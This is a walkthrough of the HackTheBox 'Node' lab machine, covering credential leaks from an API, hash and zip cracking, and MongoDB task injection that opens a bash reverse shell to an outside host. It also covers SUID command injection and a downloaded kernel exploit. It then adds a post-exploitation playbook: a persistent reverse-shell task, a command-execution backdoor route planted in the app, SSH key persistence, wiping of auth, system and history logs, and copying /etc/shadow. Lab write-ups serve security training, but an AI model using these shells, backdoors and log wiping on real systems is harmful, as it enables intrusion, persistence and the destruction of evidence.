Post

HackTheBox Node

Writeup for HackTheBox Node

HackTheBox Node

Machine Synopsis

Key Exploitation Techniques:

  • Node.js API endpoint enumeration for information disclosure
  • SHA256 hash cracking for credential recovery
  • Zip file password cracking and archive analysis
  • MongoDB credential extraction and database access
  • SUID binary exploitation through command injection
  • Linux kernel privilege escalation (alternative method)

Reconnaissance & Enumeration

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nmap -p- --min-rate 10000 10.10.10.58
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

$ nmap -p 22,3000 -sC -sV 10.10.10.58
PORT     STATE SERVICE            VERSION
22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open  hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace

Web Application Analysis

website

login

The application on port 3000 hosts “MyPlace” - a Node.js social media application with login and registration functionality.

1
2
3
# Directory enumeration (fails due to wildcard responses)
$ feroxbuster -u http://10.10.10.58:3000
# Returns 200 for all paths due to client-side routing

JavaScript Analysis

Browser developer tools reveal multiple JavaScript files defining API endpoints:

devtools

API Endpoint Discovery

app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Route definitions
when('/', {
  templateUrl: '/partials/home.html',
  controller: 'HomeCtrl'
}).
when('/profiles/:username', {
  templateUrl: '/partials/profile.html', 
  controller: 'ProfileCtrl'
}).
when('/login', {
  templateUrl: '/partials/login.html',
  controller: 'LoginCtrl'
}).
when('/admin', {
  templateUrl: '/partials/admin.html',
  controller: 'AdminCtrl'
})

home.js:

1
2
3
$http.get('/api/users/latest').then(function (res) {
  $scope.users = res.data;
});

admin.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
$scope.backup = function () {
  $window.open('/api/admin/backup', '_self');
}

$http.get('/api/session')
  .then(function (res) {
    if (res.data.authenticated) {
      $scope.user = res.data.user;
    }
    else {
      $location.path('/login');
    }
  });

profile.js:

1
2
3
4
$http.get('/api/users/' + $routeParams.username)
  .then(function (res) {
    $scope.user = res.data;
  });

Exploitation

API Endpoint Enumeration

User Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# Enumerate users via API
$ curl -s http://10.10.10.58:3000/api/users/latest | jq
[
  {
    "_id": "59a7368398aa325cc03ee51d",
    "username": "tom",
    "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
    "is_admin": false
  },
  {
    "_id": "59a7368e98aa325cc03ee51e", 
    "username": "mark",
    "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
    "is_admin": false
  },
  {
    "_id": "59aa9781cced6f1d1490fce9",
    "username": "rastating", 
    "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
    "is_admin": false
  }
]

# Check for additional users at base endpoint
$ curl -s http://10.10.10.58:3000/api/users/ | jq
[
  {
    "_id": "59a7365b98aa325cc03ee51c",
    "username": "myP14ceAdm1nAcc0uNT", 
    "password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
    "is_admin": true
  },
  {
    "_id": "59a7368398aa325cc03ee51d",
    "username": "tom",
    "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240", 
    "is_admin": false
  },
  {
    "_id": "59a7368e98aa325cc03ee51e",
    "username": "mark",
    "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
    "is_admin": false
  },
  {
    "_id": "59aa9781cced6f1d1490fce9", 
    "username": "rastating",
    "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
    "is_admin": false
  }
]

Key Discovery: Admin user myP14ceAdm1nAcc0uNT with SHA256 password hash.

Hash Cracking

1
2
3
4
5
6
7
8
9
10
11
12
13
# Extract all password hashes
$ curl -s http://10.10.10.58:3000/api/users/ | jq -r '.[].password'
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0

# Crack using CrackStation or hashcat
# Results:
# dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af -> manchester
# f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240 -> spongebob
# de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73 -> snowflake
# 5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0 -> (not cracked)

Credentials Discovered:

  • myP14ceAdm1nAcc0uNT:manchester (admin)
  • tom:spongebob
  • mark:snowflake

Admin Panel Access

Login to the admin panel with myP14ceAdm1nAcc0uNT:manchester reveals a backup download functionality.

admin_login

Backup File Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Download backup file
$ curl -b "connect.sid=..." http://10.10.10.58:3000/api/admin/backup -o myplace.backup

# Analyze file type
$ file myplace.backup
myplace.backup: ASCII text, with very long lines (65536), with no line terminators

# Decode Base64 content
$ cat myplace.backup | base64 -d > decoded
$ file decoded  
decoded: Zip archive data, at least v1.0 to extract

# Attempt extraction (password protected)
$ unzip decoded.zip
Archive:  decoded.zip
   creating: var/www/myplace/
[decoded.zip] var/www/myplace/package-lock.json password:

Zip Password Cracking

1
2
3
4
5
6
7
8
9
10
# Extract zip hash for cracking
$ zip2john decoded.zip > hash.txt

# Crack password with john
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=PKZIP
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword        (decoded.zip)

Source Code Analysis

1
2
3
4
5
6
7
8
9
10
# Extract with discovered password
$ unzip -P magicword decoded.zip

# Analyze application source
$ find var/www/myplace -name "*.js" | head -5
var/www/myplace/app.js

$ grep -i "mongodb\|password\|credential" var/www/myplace/app.js
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

Critical Discovery: MongoDB credentials mark:5AYRft73VtFpc84k

SSH Access

1
2
3
4
5
6
7
$ ssh mark@10.10.10.58
mark@10.10.10.58's password: 5AYRft73VtFpc84k

mark@node:~$ whoami
mark
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)

Privilege Escalation

Process Analysis

1
2
mark@node:~$ ps aux | grep node
tom       1218  0.0  5.4 1008056 40992 ?       Ssl  03:13   0:01 /usr/bin/node /var/scheduler/app.js

Key Finding: Node.js scheduler running as user tom

MongoDB Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Access MongoDB with discovered credentials
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler

> show collections
tasks

> db.tasks.find()
# No current tasks

# Analyze scheduler source code
mark@node:~$ cat /var/scheduler/app.js
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('[!] Failed to get tasks collection');
      }
    });
  }, 30000);
});

Vulnerability: Scheduler executes doc.cmd from MongoDB tasks collection every 30 seconds.

MongoDB Command Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Setup netcat listener
$ nc -nlvp 9999

# Insert malicious task in MongoDB
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
> db.tasks.insert({"cmd":"bash -c 'exec bash -i &>/dev/tcp/10.10.14.6/9999 <&1'"})
WriteResult({ "nInserted" : 1 })

> db.tasks.find()
{ "_id" : ObjectId("6292dff2ead14f78ff847f09"), "cmd" : "bash -c 'exec bash -i &>/dev/tcp/10.10.14.6/9999 <&1'" }
# Reverse shell received as tom
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.58] 35994
bash: cannot set terminal process group (1218): Inappropriate ioctl for device
bash: no job control in this shell
tom@node:/$ whoami
tom
tom@node:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
tom@node:/$ cat /home/tom/user.txt
e1156acc3574e04b06908ecf76be91b1

SUID Binary Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
tom@node:/$ find / -type f -user root -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/local/bin/backup
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/newgidmap
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/bin/fusermount

Key Finding: Custom SUID binary /usr/local/bin/backup

SUID Binary Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Transfer binary for analysis
tom@node:/usr/local/bin$ nc 10.10.14.6 1234 < /usr/local/bin/backup

# On attacker machine
$ nc -nlvp 1234 > backup
$ chmod +x backup

# Analyze with strings
$ strings backup | head -20
...
zip -r
...

# Analyze with ltrace
$ ltrace ./backup 1 2 3
strcmp("1", "-q")                                = 1
...
fopen("/etc/myplace/keys", "r")                  = 0
...

ida

Analysis Results:

  • Binary expects 3 arguments
  • First argument must be “-q”
  • Reads keys from /etc/myplace/keys
  • Creates password-protected zip archives

Binary Exploitation Methods

Method 1: Wildcard Exploitation

1
2
3
4
5
6
7
8
9
10
11
# Use wildcard to access root directory
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt > root_zip_b64

# Decode and extract
tom@node:/tmp$ cat root_zip_b64 | base64 --decode > root_zip
tom@node:/tmp$ unzip -P magicword root_zip
Archive:  root_zip
 extracting: root/root.txt

tom@node:/tmp$ cat root/root.txt
1722e99ca5f353b362556a62bd5e6be0

Method 2: Home Directory Method

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Set HOME environment variable to /root
tom@node:/tmp$ export HOME=/root
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "~" > root_home_zip_b64

# Decode and extract full root directory
tom@node:/tmp$ cat root_home_zip_b64 | base64 --decode > root_home_zip
tom@node:/tmp$ unzip -P magicword root_home_zip
Archive:  root_home_zip
   creating: root/
  inflating: root/.profile
  inflating: root/.bash_history
   creating: root/.cache/
 extracting: root/.cache/motd.legal-displayed
 extracting: root/root.txt
  inflating: root/.bashrc
  inflating: root/.viminfo
   creating: root/.nano/
 extracting: root/.nano/search_history

tom@node:/tmp$ cat root/root.txt
1722e99ca5f353b362556a62bd5e6be0

Method 3: Command Injection

1
2
3
4
5
6
7
8
9
# Exploit newline injection in zip command
tom@node:/tmp$ newline=\n'
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "test${newline}/bin/bash${newline}test"
    zip warning: name not matched: test
zip error: Nothing to do! (try: zip -r -P magicword /tmp/.backup_1492681799 . -i test)
whoami
root
cat /root/root.txt
1722e99ca5f353b362556a62bd5e6be0

Alternative: Linux Kernel Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Check kernel version
tom@node:/tmp$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

# Download and compile kernel exploit (CVE-2017-1000253)
$ searchsploit Ubuntu 16.04 Privilege Escalation
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c

# Transfer and execute
tom@node:/tmp$ wget 10.10.14.3/45010.c
tom@node:/tmp$ gcc 45010.c -o 45010
tom@node:/tmp$ ./45010
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
...
[*] credentials patched, launching shell...
# whoami
root

Post-Exploitation Techniques

Persistence Methods

SSH Key Persistence

1
2
3
4
5
6
7
# Generate SSH key pair
$ ssh-keygen -t rsa -b 4096 -f node_persistence

# Install as root (using any root method)
# mkdir -p /root/.ssh
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> /root/.ssh/authorized_keys
# chmod 600 /root/.ssh/authorized_keys

MongoDB Backdoor

1
2
3
# Create persistent task that doesn't get deleted
# Add task with longer execution time
> db.tasks.insert({"cmd":"(sleep 3600; bash -i >& /dev/tcp/10.10.14.6/4444 0>&1) &"})

Node.js Application Backdoor

1
2
3
4
5
6
7
8
9
10
11
12
# Modify application source for backdoor
# cat >> /var/www/myplace/app.js << 'EOF'
app.get('/api/backdoor', function(req, res) {
  if (req.query.cmd) {
    require('child_process').exec(req.query.cmd, function(error, stdout, stderr) {
      res.send(stdout);
    });
  }
});
EOF

# Access via: http://10.10.10.58:3000/api/backdoor?cmd=id

Defense Evasion

Log Sanitization

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Clear Node.js application logs
# > /var/log/nodejs/*.log
# > /var/www/myplace/logs/*.log

# Clear MongoDB logs
# > /var/log/mongodb/mongod.log

# Clear system logs
# > /var/log/auth.log
# > /var/log/syslog

# Clear command histories
# > /root/.bash_history
# > /home/tom/.bash_history
# > /home/mark/.bash_history

Database Cleanup

1
2
3
4
# Remove exploitation evidence from MongoDB
> db.tasks.deleteMany({})
> db.tasks.find()
# Should return empty

Lateral Movement Preparation

Database Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
# Enumerate all MongoDB databases
> show dbs
admin      0.000GB
local      0.000GB
myplace    0.000GB
scheduler  0.000GB

# Extract user data from myplace database
> use myplace
> show collections
users
> db.users.find()

Credential Harvesting

1
2
3
4
5
6
7
8
9
# Extract backup keys and credentials
# cat /etc/myplace/keys
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474

# Search for additional configuration files
# find /var/www -name "*.json" -exec grep -l "password\|key" {} \;

# Extract shadow file
# cp /etc/shadow /tmp/shadow.backup

Network Service Discovery

1
2
3
4
5
6
7
# Check for additional Node.js applications
# ps aux | grep node
# ss -tlnp | grep node

# Check for database connections
# ss -tlnp | grep 27017
# ss -tlnp | grep 3306

Alternative Exploitation Methods

Direct API Exploitation

1
2
3
4
5
6
# Test for additional API endpoints
$ ffuf -u http://10.10.10.58:3000/api/FUZZ -w /usr/share/wordlists/common.txt -mc 200

# Test for parameter pollution
$ curl -X POST http://10.10.10.58:3000/api/session/authenticate \
  -d "username=admin&password=admin&is_admin=true"

MongoDB Injection Testing

1
2
3
4
# Test for NoSQL injection in login
$ curl -X POST http://10.10.10.58:3000/api/session/authenticate \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": ""}, "password": {"$ne": ""}}'

Source Code Analysis

1
2
3
4
5
6
7
8
# Search for hardcoded credentials
$ grep -r "password\|secret\|key" var/www/myplace/ | grep -v node_modules

# Look for additional API endpoints
$ grep -r "app\.\(get\|post\|put\|delete\)" var/www/myplace/

# Check for vulnerable dependencies
$ cat var/www/myplace/package.json | jq .dependencies

This post is licensed under CC BY 4.0 by the author.